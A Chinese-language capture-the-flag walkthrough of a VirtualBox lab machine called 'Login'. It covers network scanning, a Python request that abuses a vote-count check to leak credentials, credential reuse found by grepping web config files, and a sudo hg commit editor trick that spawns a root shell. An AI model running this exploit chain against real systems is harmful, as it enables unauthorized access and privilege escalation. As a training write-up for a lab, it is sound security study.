Login by Aristore

信息收集

```
┌──(root㉿kali)-[~]
└─# arp-scan -l | grep PCS
192.168.5.109   08:00:27:ed:16:9a       PCS Systemtechnik GmbH

┌──(root㉿kali)-[~]
└─# IP=192.168.5.109
```

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-12 01:07 EDT
Nmap scan report for Login.lan (192.168.5.109)
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title:
\xE6\x9C\xAA\xE6\x9D\xA5\xE9\xA1\xB9\xE7\x9B\xAE\xE6\x8A\x95\xE7\xA5\xA8\xE7\xB3\xBB\xE7\xB
B\x9F
|_http-server-header: Apache/2.4.62 (Debian)
9090/tcp open  http    Cockpit web service 221 - 253
| http-title: Loading...
|_Requested resource was https://Login.lan:9090/
MAC Address: 08:00:27:ED:16:9A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7
cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux
5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.19 ms Login.lan (192.168.5.109)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.19 seconds
```

发现了一个投票系统，可以输入数字

由于我没有工具，手搓一个脚本发个包看看

```
import requests
url = f"http://192.168.5.109/vote/vote.php"
payload = {
    "vote": "1",
    "vote_count": "-10"
}
response = requests.post(url, data=payload, allow_redirects=False)
print(f"[*] Payload: {payload}")
print(f"[*] 状态码: {response.status_code}")
```

一开始尝试的是 11，发现后端设置了上限，改成 -1 溢出通过了

网页打开刷新得到隐藏信息

```
pencek:d032fc2b8b
```

在前面扫描到的 9090 端口用 `pencek:d032fc2b8b` 登录后台，后台内置的终端读取 flag 即可

```
pencek@Login:~$ cat user.txt
flag{user-d032fc2b8b1213562e5cf594899d1348}
```

横向移动

尝试 ssh 连接发现失败了

```
pencek@Login:~$ cat /etc/ssh/sshd_config
#       $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
```

```
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile     .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
```

```
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem       sftp    /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server
DenyUsers pencek
DenyUsers todd
```

查看 ssh 的配置文件发现 pencek 用户被禁止通过 ssh 登录，遂放弃这一想法

```
pencek@Login:~$ ls /home
pencek  todd
```

查看 home 目录发现还存在另一个用户 todd，所以考虑横向移动到 todd 之后再找找看有没有可以利用的漏洞

在网站文件中搜索发现了 todd 的痕迹

```
pencek@Login:~$ grep -ir "todd" /var/www/html 2>/dev/null
/var/www/html/vote/config.php:define('todd','1213562e5cf594899d1348');
```

成功用 `todd:1213562e5cf594899d1348` 登录到网站的后台

提权

列出当前用户允许通过 sudo 执行的命令

```
todd@Login:~$ sudo -l
Matching Defaults entries for todd on Login:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User todd may run the following commands on Login:
    (ALL) NOPASSWD: /usr/bin/hg
```

hg 是 Mercurial 分布式版本控制系统的命令行工具，使用hg提权

hg commit命令必须在一个版本库内执行，并且需要有文件变动才能触发，先创建一个目录并进入，然后初始化一个新的 hg 仓库

```
todd@Login:~$ mkdir pwn
todd@Login:~$ cd pwn
todd@Login:~/pwn$ hg init
```

创建一个空文件并将这个文件添加到 hg 的追踪列表

```
todd@Login:~/pwn$ touch exp.txt
todd@Login:~/pwn$ hg add exp.txt
```

执行commit命令，同时提供一个用户名并指定编辑器为一个bash shell

```
todd@Login:~/pwn$ sudo hg commit -u "pwn" --config 'ui.editor=sh -c "/bin/bash"'
root@Login:/home/todd/pwn#
```

提权成功

```
root@Login:~# cat root.txt
flag{root-e07910a06a086c83ba41827aa00b26ed}
```